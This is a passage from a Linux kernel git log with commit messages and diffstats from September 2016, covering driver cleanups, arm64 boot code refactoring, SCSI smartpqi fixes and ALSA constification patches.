Currently, module can populate a single jack and associated buttons. In case multiple jacks are supported data routing (say duplicating, etc.) should be handled within module's FW. It can populate additional mixer controls to do so. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) commit 79c222bcb72789456076a26a9bad2acc62cb2cdc Author: Vaibhav Agarwal Date: Thu Sep 1 11:38:38 2016 +0530 greybus: audio: Remove unnecessary num_jack field from module_info snd_jack will be registered based on real capabilities shared by module's FW instead of parsing widgets and register it with fixed capabilities. Remove module_info->num_jack, since it is no more required. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 9 --------- drivers/staging/greybus/audio_codec.h | 1 - drivers/staging/greybus/audio_topology.c | 1 - 3 files changed, 11 deletions(-) commit 16162470023627776d503795d08aa5a797ce40a2 Author: David Weinehall Date: Fri Sep 2 13:46:17 2016 +0300 drm/i915: Cleanup i915_param() Rather than having a separate case for each value where we just return a hardcoded value = 1, we lump them all together and rely on the awesome case-fallthrough feature of C. Fix all feature macros to pass dev_priv instead of dev while at it, and use INTEL_GEN() instead of INTEL_INFO()->gen. Signed-off-by: David Weinehall Link: http://patchwork.freedesktop.org/patch/msgid/20160902104617.29089-1-david.weinehall@linux.intel.com Reviewed-by: Chris Wilson Signed-off-by: Chris Wilson drivers/gpu/drm/i915/i915_drv.c | 87 +++++++++++++++-------------------------- 1 file changed, 32 insertions(+), 55 deletions(-) commit e9405ef08ca8d9e702f4a1b58b4fa992a7c9f137 Author: Sinan Kaya Date: Thu Sep 1 10:02:55 2016 -0400 dmaengine: dmatest: exclude compare and fill time during perf report Dmatest is currently including compare and fill time into the calculated performance numbers. This does not reflect the HW capability and the results vary based on the CPU speed instead of the HW speed. Signed-off-by: Sinan Kaya Signed-off-by: Vinod Koul drivers/dma/dmatest.c | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) commit d43c97a5156ad8f9972e87b26882a870a9188909 Author: Caesar Wang Date: Fri Sep 2 01:50:02 2016 +0800 arm64: dts: rockchip: add the gmac power domain on rk3399 This patch adds the gmac ppower-domain to save power consumption by letting the driver core handle the power-domain so we can save power on boards not needing Ethernet. Signed-off-by: Caesar Wang Reviewed-by: Douglas Anderson Signed-off-by: Heiko Stuebner arch/arm64/boot/dts/rockchip/rk3399.dtsi | 10 ++++++++++ 1 file changed, 10 insertions(+) commit a8bcaea78fa292360685491688bd0cf43dd19e4b Author: Douglas Anderson Date: Thu Sep 1 16:53:22 2016 -0700 arm64: dts: rockchip: Add pinctrl entry for 32k clock on rk3399 On some rk3399 boards GPIO0_A0 is hooked up to a 32 kHz clock. This can be used as the source for various clocks in the system. Add a pinmux so boards can get this pin properly configured. Signed-off-by: Douglas Anderson Signed-off-by: Heiko Stuebner arch/arm64/boot/dts/rockchip/rk3399.dtsi | 6 ++++++ 1 file changed, 6 insertions(+) commit a9be2ee09385387819ca22bf6522b2437334489e Author: Ard Biesheuvel Date: Wed Aug 31 12:05:17 2016 +0100 arm64: head.S: document the use of callee saved registers Now that the only remaining occurrences of the use of callee saved registers are on the primary boot path, add a comment to the code which register is used for what. Reviewed-by: Mark Rutland Signed-off-by: Ard Biesheuvel Signed-off-by: Will Deacon arch/arm64/kernel/head.S | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 60699ba18b69ff210ed0304bc23f6c9d11d27a72 Author: Ard Biesheuvel Date: Wed Aug 31 12:05:16 2016 +0100 arm64: head.S: use ordinary stack frame for __primary_switched() Instead of stashing the value of the link register in x28 before setting up the stack and calling into C code, create an ordinary PCS compatible stack frame so that we can push the return address onto the stack. Since exception handlers require a stack as well, assign the stack pointer register before installing the vector table. Note that this accounts for the difference between THREAD_START_SP and THREAD_SIZE, given that the stack pointer is always decremented before calling into any C code. Reviewed-by: Mark Rutland Signed-off-by: Ard Biesheuvel Signed-off-by: Will Deacon arch/arm64/kernel/head.S | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) commit b929fe320e5f3c91c76cca81be80f2dde2ac54a6 Author: Ard Biesheuvel Date: Wed Aug 31 12:05:15 2016 +0100 arm64: kernel: drop use of x24 from primary boot path Keeping __PHYS_OFFSET in x24 is actually less clear than simply taking the value of __PHYS_OFFSET using an adrp instruction in the three places that we need it. So change that. Reviewed-by: Mark Rutland Signed-off-by: Ard Biesheuvel Signed-off-by: Will Deacon arch/arm64/kernel/head.S | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) commit 9dcf7914ae238619ae019dcf82a91c817ff8628e Author: Ard Biesheuvel Date: Wed Aug 31 12:05:14 2016 +0100 arm64: kernel: use x30 for __enable_mmu return address Using x27 for passing to __enable_mmu what is essentially the return address makes the code look more complicated than it needs to be. So switch to x30/lr, and update the secondary and cpu_resume call sites to simply call __enable_mmu as an ordinary function, with a bl instruction. This requires the callers to be covered by .idmap.text. Reviewed-by: Mark Rutland Signed-off-by: Ard Biesheuvel Signed-off-by: Will Deacon arch/arm64/kernel/head.S | 21 +++++++-------------- arch/arm64/kernel/sleep.S | 8 ++------ 2 files changed, 9 insertions(+), 20 deletions(-) commit 3c5e9f238bc475b0712419eaebc643c07c73cb94 Author: Ard Biesheuvel Date: Wed Aug 31 12:05:13 2016 +0100 arm64: head.S: move KASLR processing out of __enable_mmu() The KASLR processing is only used by the primary boot path, and complements the processing that takes place in __primary_switch(). Move the two parts together, to make the code easier to understand. Also, fix up a minor whitespace issue. Reviewed-by: Mark Rutland Signed-off-by: Ard Biesheuvel [will: fixed conflict with -rc3 due to lack of fd363bd417dd] Signed-off-by: Will Deacon arch/arm64/kernel/head.S | 69 +++++++++++++++++++++++++++++------------------- 1 file changed, 42 insertions(+), 27 deletions(-) commit e8a31ebae1669f05254430d2fced99d77c63fc10 Author: Kevin Barnett Date: Wed Aug 31 14:55:24 2016 -0500 scsi: smartpqi: update Kconfig The aacraid driver will not managage Microsemi smartpqi controllers, but will still manage older aacraid devices. Updated help section. Reviewed-by: Scott Teel Reviewed-by: Scott Benesh Reviewed-by: Kevin Barnett Reviewed-by: Johannes Thumshirn Reviewed-by: Tomas Henzl Signed-off-by: Don Brace Signed-off-by: Martin K. Petersen drivers/scsi/smartpqi/Kconfig | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit d48f8fad1e435eff26c29e8e109c1a50c441e533 Author: Kevin Barnett Date: Wed Aug 31 14:55:17 2016 -0500 scsi: smartpqi: remove timeout for cache flush operations Some cache flush operations can take longer than the timeout value. Best to not impose a time limit to handle all cases. Reviewed-by: Scott Teel Reviewed-by: Scott Benesh Reviewed-by: Johannes Thumshirn Reviewed-by: Tomas Henzl Signed-off-by: Kevin Barnett Signed-off-by: Don Brace Signed-off-by: Martin K. Petersen drivers/scsi/smartpqi/smartpqi_init.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 7d81d2b8714ec72462a99875acbf2f976402f3f1 Author: Kevin Barnett Date: Wed Aug 31 14:55:11 2016 -0500 scsi: smartpqi: scsi queuecommand cleanup minor cleanup of scsi queue command function Reviewed-by: Scott Teel Reviewed-by: Scott Benesh Reviewed-by: Johannes Thumshirn Reviewed-by: Tomas Henzl Signed-off-by: Kevin Barnett Signed-off-by: Don Brace Signed-off-by: Martin K. Petersen drivers/scsi/smartpqi/smartpqi_init.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit 4fbebf1a779d9f6890ddc1df90c497b161dfb34c Author: Kevin Barnett Date: Wed Aug 31 14:55:05 2016 -0500 scsi: smartpqi: minor tweaks to update time support minor tweaks to update time support Reviewed-by: Scott Teel Reviewed-by: Scott Benesh Reviewed-by: Johannes Thumshirn Signed-off-by: Kevin Barnett Signed-off-by: Don Brace Signed-off-by: Martin K. Petersen drivers/scsi/smartpqi/smartpqi_init.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit df7a1fcfc4761e658b60739e2ff4cd148afcae89 Author: Kevin Barnett Date: Wed Aug 31 14:54:59 2016 -0500 scsi: smartpqi: minor function reformating reformatted pqi_num_elements_free() to match the rest of the driver Reviewed-by: Scott Teel Reviewed-by: Scott Benesh Reviewed-by: Tomas Henzl Signed-off-by: Kevin Barnett Signed-off-by: Don Brace Reviewed-by: Johannes Thumshirn Signed-off-by: Martin K. Petersen drivers/scsi/smartpqi/smartpqi_init.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 5e6429df9c8b3ab9e0a8d18af5248692ebe41871 Author: Kevin Barnett Date: Wed Aug 31 14:54:53 2016 -0500 scsi: smartpqi: correct event acknowledgment timeout issue the driver no longer waits for the firmware to consume the event ack IU. Reviewed-by: Scott Teel Reviewed-by: Scott Benesh Reviewed-by: Johannes Thumshirn Reviewed-by: Tomas Henzl Signed-off-by: Kevin Barnett Signed-off-by: Don Brace Signed-off-by: Martin K. Petersen drivers/scsi/smartpqi/smartpqi.h | 14 +++++++------- drivers/scsi/smartpqi/smartpqi_init.c | 20 -------------------- 2 files changed, 7 insertions(+), 27 deletions(-) commit e57a1f9b2fa4326ec289f1d03c658184ed6addb8 Author: Kevin Barnett Date: Wed Aug 31 14:54:47 2016 -0500 scsi: smartpqi: correct controller offline issue Fixes: 6c223761e 'smartpqi: initial commit of Microsemi smartpqi driver' Fixed a bug where the driver would not free all of the controller resources if the controller ever went offline. Reviewed-by: Scott Teel Reviewed-by: Scott Benesh Reviewed-by: Johannes Thumshirn Reviewed-by: Tomas Henzl Signed-off-by: Kevin Barnett Signed-off-by: Don Brace Signed-off-by: Martin K. Petersen drivers/scsi/smartpqi/smartpqi_init.c | 15 +++++---------- 1 file changed, 5 insertions(+), 10 deletions(-) commit ff6abb7383d2eec6c8c988ff661352e66f245686 Author: Kevin Barnett Date: Wed Aug 31 14:54:41 2016 -0500 scsi: smartpqi: add kdump support Reviewed-by: Scott Teel Reviewed-by: Scott Benesh Reviewed-by: Johannes Thumshirn Reviewed-by: Tomas Henzl Signed-off-by: Kevin Barnett Signed-off-by: Don Brace Signed-off-by: Martin K. Petersen drivers/scsi/smartpqi/smartpqi.h | 13 ++++++++++--- drivers/scsi/smartpqi/smartpqi_init.c | 35 +++++++++++++++++++++++++++++++++++ drivers/scsi/smartpqi/smartpqi_sis.c | 10 ++++++++++ drivers/scsi/smartpqi/smartpqi_sis.h | 2 ++ 4 files changed, 57 insertions(+), 3 deletions(-) commit 14bb215d09de98a8e95fa2bb1b8f35b79672c5df Author: Kevin Barnett Date: Wed Aug 31 14:54:35 2016 -0500 scsi: smartpqi: enhance reset logic Eliminated timeout from LUN reset logic. Reviewed-by: Scott Teel Reviewed-by: Scott Benesh Reviewed-by: Johannes Thumshirn Reviewed-by: Tomas Henzl Signed-off-by: Kevin Barnett Signed-off-by: Don Brace Signed-off-by: Martin K. Petersen drivers/scsi/smartpqi/smartpqi.h | 2 - drivers/scsi/smartpqi/smartpqi_init.c | 101 ++++++++++++---------------------- 2 files changed, 35 insertions(+), 68 deletions(-) commit e58081a714275d1490e470bdaf1b5dc23043cf2a Author: Kevin Barnett Date: Wed Aug 31 14:54:29 2016 -0500 scsi: smartpqi: enhance drive offline informational message Made a couple of error messages more verbose. Reviewed-by: Scott Teel Reviewed-by: Scott Benesh Reviewed-by: Johannes Thumshirn Reviewed-by: Tomas Henzl Signed-off-by: Kevin Barnett Signed-off-by: Don Brace Signed-off-by: Martin K. Petersen drivers/scsi/smartpqi/smartpqi_init.c | 5 +++++ 1 file changed, 5 insertions(+) commit 77668f412dbcd6a9dd04c92f0b170c5b5182a5fb Author: Kevin Barnett Date: Wed Aug 31 14:54:23 2016 -0500 scsi: smartpqi: simplify spanning Removed the workaround for the transition to spanning. Reviewed-by: Scott Teel Reviewed-by: Scott Benesh Reviewed-by: Johannes Thumshirn Reviewed-by: Tomas Henzl Signed-off-by: Kevin Barnett Signed-off-by: Don Brace Signed-off-by: Martin K. Petersen drivers/scsi/smartpqi/smartpqi_init.c | 38 ++++++++++++++++++----------------- 1 file changed, 20 insertions(+), 18 deletions(-) commit b17f048658c9b1bc8ac1d9a54b223f740c70f8fd Author: Kevin Barnett Date: Wed Aug 31 14:54:17 2016 -0500 scsi: smartpqi: change tmf macro names small change to make code look cleaner Reviewed-by: Scott Teel Reviewed-by: Scott Benesh Reviewed-by: Johannes Thumshirn Reviewed-by: Tomas Henzl Signed-off-by: Kevin Barnett Signed-off-by: Don Brace Signed-off-by: Martin K. Petersen drivers/scsi/smartpqi/smartpqi.h | 6 ++---- drivers/scsi/smartpqi/smartpqi_init.c | 4 ++-- 2 files changed, 4 insertions(+), 6 deletions(-) commit a60eec0251fe1bfc0cd549c073591e6657761158 Author: Kevin Barnett Date: Wed Aug 31 14:54:11 2016 -0500 scsi: smartpqi: change aio sg processing Take advantage of controller improvements. Reviewed-by: Scott Teel Reviewed-by: Scott Benesh Reviewed-by: Johannes Thumshirn Reviewed-by: Tomas Henzl Signed-off-by: Kevin Barnett Signed-off-by: Don Brace Signed-off-by: Martin K. Petersen drivers/scsi/smartpqi/smartpqi_init.c | 68 ++++++++++++++++++++--------------- 1 file changed, 39 insertions(+), 29 deletions(-) commit 23c8a500c24d02dd2de1bff968d4467b441717bb Author: Ard Biesheuvel Date: Wed Aug 31 12:05:12 2016 +0100 arm64: kernel: use ordinary return/argument register for el2_setup() The function el2_setup() passes its return value in register w20, and in the two cases where the caller actually cares about this return value, it is passed into set_cpu_boot_mode_flag() [almost] directly, which expects its input in w20 as well. So there is no reason to use a 'special' callee saved register here, but we can simply follow the PCS for return value and first argument, respectively. Reviewed-by: Mark Rutland Signed-off-by: Ard Biesheuvel Signed-off-by: Will Deacon arch/arm64/kernel/head.S | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit b5fe242972ef3faaa6bcfe66cbacc7a0014faf89 Author: Ard Biesheuvel Date: Wed Aug 31 12:05:11 2016 +0100 arm64: kernel: fix style issues in sleep.S This fixes a number of style issues in sleep.S. No functional changes are intended: - replace absolute literal references with relative references in __cpu_suspend_enter(), which executes from its virtual address - replace explicit lr assignment plus branch with bl in cpu_resume(), which aligns it with stext() and secondary_startup() - don't export _cpu_resume() - use adr_l for mpidr_hash reference, and fix the incorrect accompanying comment, which has been out of date since commit cabe1c81ea5be983 ("arm64: Change cpu_resume() to enable mmu early then access sleep_sp by va") - replace leading spaces with tabs, and add a bit of whitespace for readability Reviewed-by: Mark Rutland Signed-off-by: Ard Biesheuvel Signed-off-by: Will Deacon arch/arm64/kernel/sleep.S | 21 ++++++++++----------- 1 file changed, 10 insertions(+), 11 deletions(-) commit b2990536f44752e54dc300a2f98253519adfe649 Author: Bhaktipriya Shridhar Date: Wed Aug 31 00:33:25 2016 +0530 scsi: mpt: Remove deprecated create_singlethread_workqueue The workqueues "ioc->reset_work_q" and "ioc->fw_event_q" queue a single work item &ioc->fault_reset_work and &fw_event->work, respectively and hence don't require ordering. Hence, they have been converted to use alloc_workqueue(). The WQ_MEM_RECLAIM flag has been set to ensure forward progress under memory pressure since the workqueue belongs to a storage driver which is being used on a memory reclaim path. Since there are fixed number of work items, explicit concurrency limit is unnecessary here. Signed-off-by: Bhaktipriya Shridhar Acked-by: Tejun Heo Signed-off-by: Martin K. Petersen drivers/message/fusion/mptbase.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit 77d4f08024d86974d3eddc6d0a7143f74974783f Author: Bhaktipriya Shridhar Date: Wed Aug 31 00:33:05 2016 +0530 scsi: mptfc: Remove deprecated create_singlethread_workqueue The workqueue "fc_rescan_work_q" queues multiple work items viz &ioc->fc_rescan_work, &ioc->fc_lsc_work, &ioc->fc_setup_reset_work, which require strict execution ordering. Hence, an ordered dedicated workqueue has been used. WQ_MEM_RECLAIM has been set since the workqueue is belongs to a storage driver which is being used on a memory reclaim path and hence, requires forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Acked-by: Tejun Heo Signed-off-by: Martin K. Petersen drivers/message/fusion/mptfc.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 5f6ac2cee25cb0bf6ec07249a6180cabd46a1913 Author: Colin Ian King Date: Tue Aug 30 17:36:16 2016 +0100 scsi: bfa: Do not dereference port before it is null checked Port is deferenced before it is null sanity checked, hence we potentially have a null pointer dereference bug. Instead, initialise trl_enabled from port->fcs->bfa after we are sure port is not null. Signed-off-by: Colin Ian King Reviewed-by: Johannes Thumshirn Signed-off-by: Martin K. Petersen drivers/scsi/bfa/bfa_fcs_lport.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 02ccda2a2ffba8750dcebe13a09ce5f671ffcda6 Author: Baoyou Xie Date: Mon Aug 29 18:46:51 2016 +0800 scsi: qla4xxx: Mark symbols static where possible We get 1 warning when build kernel with W=1: drivers/scsi/qla4xxx/ql4_nx.c:1846:10: warning: no previous prototype for 'ql4_84xx_ipmdio_rd_reg' [-Wmissing-prototypes] In fact, this function is only used in the file in which it is declared and don't need a declaration, but can be made static. This patch marks this function with 'static'. Signed-off-by: Baoyou Xie Acked-by: Nilesh Javali Signed-off-by: Martin K. Petersen drivers/scsi/qla4xxx/ql4_nx.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8c91d7d09e3cd52d5d409ba05e8eb9be0f6a2349 Author: Julia Lawall Date: Fri Sep 2 00:13:14 2016 +0200 ALSA: bt87x: constify snd_pcm_ops structures Check for snd_pcm_ops structures that are only stored in the ops field of a snd_soc_platform_driver structure or passed as the third argument to snd_pcm_set_ops. The corresponding field or parameter is declared const, so snd_pcm_ops structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct snd_pcm_ops i@p = { ... }; @ok1@ identifier r.i; struct snd_soc_platform_driver e; position p; @@ e.ops = &i@p; @ok2@ identifier r.i; expression e1, e2; position p; @@ snd_pcm_set_ops(e1, e2, &i@p) @bad@ position p != {r.p,ok1.p,ok2.p}; identifier r.i; struct snd_pcm_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct snd_pcm_ops i = { ... }; // Signed-off-by: Julia Lawall Acked-by: Clemens Ladisch Signed-off-by: Takashi Iwai sound/pci/bt87x.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit bc9a910b15d0cc6f2f540fc0446381d47f215fc7 Author: Julia Lawall Date: Fri Sep 2 00:13:13 2016 +0200 ALSA: oxygen: constify snd_pcm_ops structures Check for snd_pcm_ops structures that are only stored in the ops field of a snd_soc_platform_driver structure or passed as the third argument to snd_pcm_set_ops. The corresponding field or parameter is declared const, so snd_pcm_ops structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct snd_pcm_ops i@p = { ... }; @ok1@ identifier r.i; struct snd_soc_platform_driver e; position p; @@ e.ops = &i@p; @ok2@ identifier r.i; expression e1, e2; position p; @@ snd_pcm_set_ops(e1, e2, &i@p) @bad@ position p != {r.p,ok1.p,ok2.p}; identifier r.i; struct snd_pcm_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct snd_pcm_ops i = { ... }; // Signed-off-by: Julia Lawall Acked-by: Clemens Ladisch Signed-off-by: Takashi Iwai sound/pci/oxygen/oxygen_pcm.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit d602efcaf5672e4c59450fb9bf2568271fa0266f Author: Julia Lawall Date: Fri Sep 2 00:13:12 2016 +0200 ALSA: ad1889: constify snd_pcm_ops structures Check for snd_pcm_ops structures that are only stored in the ops field of a snd_soc_platform_driver structure or passed as the third argument to snd_pcm_set_ops. The corresponding field or parameter is declared const, so snd_pcm_ops structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct snd_pcm_ops i@p = { ... }; @ok1@ identifier r.i; struct snd_soc_platform_driver e; position p; @@ e.ops = &i@p; @ok2@ identifier r.i; expression e1, e2; position p; @@ snd_pcm_set_ops(e1, e2, &i@p) @bad@ position p != {r.p,ok1.p,ok2.p}; identifier r.i; struct snd_pcm_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct snd_pcm_ops i = { ... }; // Signed-off-by: Julia Lawall Signed-off-by: Takashi Iwai sound/pci/ad1889.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 5116ffc32d889d229843cb1d12060491b01eae21 Author: Julia Lawall Date: Fri Sep 2 00:13:11 2016 +0200 ALSA: firewire: constify snd_pcm_ops structures Check for snd_pcm_ops structures that are only stored in the ops field of a snd_soc_platform_driver structure or passed as the third argument to snd_pcm_set_ops. The corresponding field or parameter is declared const, so snd_pcm_ops structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct snd_pcm_ops i@p = { ... }; @ok1@ identifier r.i; struct snd_soc_platform_driver e; position p; @@ e.ops = &i@p; @ok2@ identifier r.i; expression e1, e2; position p; @@ snd_pcm_set_ops(e1, e2, &i@p) @bad@ position p != {r.p,ok1.p,ok2.p}; identifier r.i; struct snd_pcm_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct snd_pcm_ops i = { ... }; // Signed-off-by: Julia Lawall Reviewed-by: Takashi Sakamoto Acked-by: Clemens Ladisch Signed-off-by: Takashi Iwai sound/firewire/dice/dice-pcm.c | 4 ++-- sound/firewire/digi00x/digi00x-pcm.c | 4 ++-- sound/firewire/oxfw/oxfw-pcm.c | 4 ++-- sound/firewire/tascam/tascam-pcm.c | 4 ++-- 4 files changed, 8 insertions(+), 8 deletions(-) commit 6769e988b0062bf8d63d35b0fdbb47b385dd3252 Author: Julia Lawall Date: Fri Sep 2 00:13:10 2016 +0200 ALSA: constify snd_pcm_ops structures Check for snd_pcm_ops structures that are only stored in the ops field of a snd_soc_platform_driver structure or passed as the third argument to snd_pcm_set_ops. The corresponding field or parameter is declared const, so snd_pcm_ops structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct snd_pcm_ops i@p = { ... }; @ok1@ identifier r.i; struct snd_soc_platform_driver e; position p; @@ e.ops = &i@p; @ok2@ identifier r.i; expression e1, e2; position p; @@ snd_pcm_set_ops(e1, e2, &i@p) @bad@ position p != {r.p,ok1.p,ok2.p}; identifier r.i; struct snd_pcm_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct snd_pcm_ops i = { ... }; // Signed-off-by: Julia Lawall Signed-off-by: Takashi Iwai sound/pci/als300.c | 4 ++-- sound/pci/als4000.c | 4 ++-- sound/pci/asihpi/asihpi.c | 4 ++-- sound/pci/atiixp.c | 6 +++--- sound/pci/atiixp_modem.c | 4 ++-- sound/pci/aw2/aw2-alsa.c | 4 ++-- sound/pci/azt3328.c | 6 +++--- sound/pci/ca0106/ca0106_main.c | 16 ++++++++-------- sound/pci/cmipci.c | 10 +++++----- sound/pci/cs4281.c | 4 ++-- sound/pci/ctxfi/ctpcm.c | 4 ++-- sound/pci/emu10k1/emu10k1x.c | 4 ++-- sound/pci/emu10k1/emupcm.c | 12 ++++++------ sound/pci/emu10k1/p16v.c | 4 ++-- sound/pci/ens1370.c | 6 +++--- sound/pci/es1938.c | 4 ++-- sound/pci/es1968.c | 4 ++-- sound/pci/fm801.c | 4 ++-- sound/pci/hda/hda_controller.c | 2 +- sound/pci/ice1712/ice1712.c | 10 +++++----- sound/pci/ice1712/ice1724.c | 10 +++++----- sound/pci/korg1212/korg1212.c | 4 ++-- sound/pci/lola/lola_pcm.c | 2 +- sound/pci/lx6464es/lx6464es.c | 4 ++-- sound/pci/maestro3.c | 4 ++-- sound/pci/mixart/mixart.c | 4 ++-- sound/pci/nm256/nm256.c | 4 ++-- sound/pci/pcxhr/pcxhr.c | 2 +- sound/pci/riptide/riptide.c | 4 ++-- sound/pci/rme32.c | 16 ++++++++-------- sound/pci/rme96.c | 8 ++++---- sound/pci/rme9652/hdsp.c | 4 ++-- sound/pci/rme9652/hdspm.c | 2 +- sound/pci/rme9652/rme9652.c | 4 ++-- sound/pci/sonicvibes.c | 4 ++-- sound/pci/trident/trident_main.c | 12 ++++++------ sound/pci/via82xx.c | 10 +++++----- sound/pci/via82xx_modem.c | 4 ++-- sound/pci/ymfpci/ymfpci_main.c | 10 +++++----- 39 files changed, 114 insertions(+), 114 deletions(-) commit 9d5262ae9b52d5dd96a4c5bd1b683570b84a011e Author: Julia Lawall Date: Fri Sep 2 00:13:09 2016 +0200 ALSA: cs5535audio: constify snd_pcm_ops structures Check for snd_pcm_ops structures that are only stored in the ops field of a snd_soc_platform_driver structure or passed as the third argument to snd_pcm_set_ops. The corresponding field or parameter is declared const, so snd_pcm_ops structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct snd_pcm_ops i@p = { ... }; @ok1@ identifier r.i; struct snd_soc_platform_driver e; position p; @@ e.ops = &i@p; @ok2@ identifier r.i; expression e1, e2; position p; @@ snd_pcm_set_ops(e1, e2, &i@p) @bad@ position p != {r.p,ok1.p,ok2.p}; identifier r.i; struct snd_pcm_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct snd_pcm_ops i = { ... }; // Signed-off-by: Julia Lawall Signed-off-by: Takashi Iwai sound/pci/cs5535audio/cs5535audio_pcm.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 0f5d3ec5251066b1118ace0bf1369018de557bfb Author: Guodong Xu Date: Wed Aug 31 21:10:58 2016 +0800 arm64: dts: hi6220: add sd-uhs- properties into dwmmc_1 With these properties added, sd cards inserted into hikey can work at UHS mode if they have such capability. Note, this depends on HiKey UHS-SD support patch [1] to work properly. If you didn't add this patch, but added sd-uhs- properties into dwmmc_1, then sd cards cannot work. As of this post, patch [1] has been integrated into maintainer's next branch [2]. [1]: [V4] mmc: dw_mmc-k3: UHS-SD card for Hisilicon Hikey, https://patchwork.kernel.org/patch/9262515/ [2]: https://git.linaro.org/people/ulf.hansson/mmc.git next commit a8a5b2909cfc ("mmc: dw_mmc: k3: UHS-SD card for Hisilicon Hikey") cc: Ulf Hansson cc: Jaehoon Chung cc: Jinguojun Signed-off-by: Guodong Xu Signed-off-by: Wei Xu arch/arm64/boot/dts/hisilicon/hi6220.dtsi | 3 +++ 1 file changed, 3 insertions(+) commit 662d19e78b2c0a955879f487755e6a70a5e0226a Author: Chris Wilson Date: Thu Sep 1 21:55:10 2016 +0100 drm/i915: Drop mutex around clearing error state The error state itself is guarded by a spinlock (admittedly even that is overkill for a single pointer!) and doesn't require us to take the struct_mutex in the debugfs/sysfs interface. Removing the struct_mutex removes one more potential blockage when trying to debug a deadlock. Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/20160901205510.31307-1-chris@chris-wilson.co.uk Reviewed-by: David Weinehall Date: Thu Sep 1 14:16:24 2016 +0800 mISDN: mark symbols static where possible We get a few warnings when building kernel with W=1: drivers/isdn/hardware/mISDN/hfcmulti.c:568:1: warning: no previous declaration for 'enablepcibridge' [-Wmissing-declarations] drivers/isdn/hardware/mISDN/hfcmulti.c:574:1: warning: no previous declaration for 'disablepcibridge' [-Wmissing-declarations] drivers/isdn/hardware/mISDN/hfcmulti.c:580:1: warning: no previous declaration for 'readpcibridge' [-Wmissing-declarations] drivers/isdn/hardware/mISDN/hfcmulti.c:608:1: warning: no previous declaration for 'writepcibridge' [-Wmissing-declarations] drivers/isdn/hardware/mISDN/hfcmulti.c:638:1: warning: no previous declaration for 'cpld_set_reg' [-Wmissing-declarations] drivers/isdn/hardware/mISDN/hfcmulti.c:645:1: warning: no previous declaration for 'cpld_write_reg' [-Wmissing-declarations] drivers/isdn/hardware/mISDN/hfcmulti.c:657:1: warning: no previous declaration for 'cpld_read_reg' [-Wmissing-declarations] drivers/isdn/hardware/mISDN/hfcmulti.c:674:1: warning: no previous declaration for 'vpm_write_address' [-Wmissing-declarations] drivers/isdn/hardware/mISDN/hfcmulti.c:681:1: warning: no previous declaration for 'vpm_read_address' [-Wmissing-declarations] drivers/isdn/hardware/mISDN/hfcmulti.c:695:1: warning: no previous declaration for 'vpm_in' [-Wmissing-declarations] drivers/isdn/hardware/mISDN/hfcmulti.c:716:1: warning: no previous declaration for 'vpm_out' [-Wmissing-declarations] drivers/isdn/hardware/mISDN/hfcmulti.c:1028:1: warning: no previous declaration for 'plxsd_checksync' [-Wmissing-declarations] .... In fact, these functions are only used in the file in which they are declared and don't need a declaration, but can be made static. so this patch marks these functions with 'static'. Signed-off-by: Baoyou Xie Acked-by: Arnd Bergmann Signed-off-by: David S. Miller drivers/isdn/hardware/mISDN/avmfritz.c | 6 +++--- drivers/isdn/hardware/mISDN/hfcmulti.c | 24 ++++++++++++------------ drivers/isdn/hardware/mISDN/mISDNipac.c | 2 +- drivers/isdn/hardware/mISDN/w6692.c | 2 +- 4 files changed, 17 insertions(+), 17 deletions(-) commit c4a8a7c718d282c95b46ed78b35662451af4306e Author: Daniel Vetter Date: Fri Sep 2 08:34:08 2016 +0200 drm/i915: Update DRIVER_DATE to 20160902 Signed-off-by: Daniel Vetter drivers/gpu/drm/i915/i915_drv.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 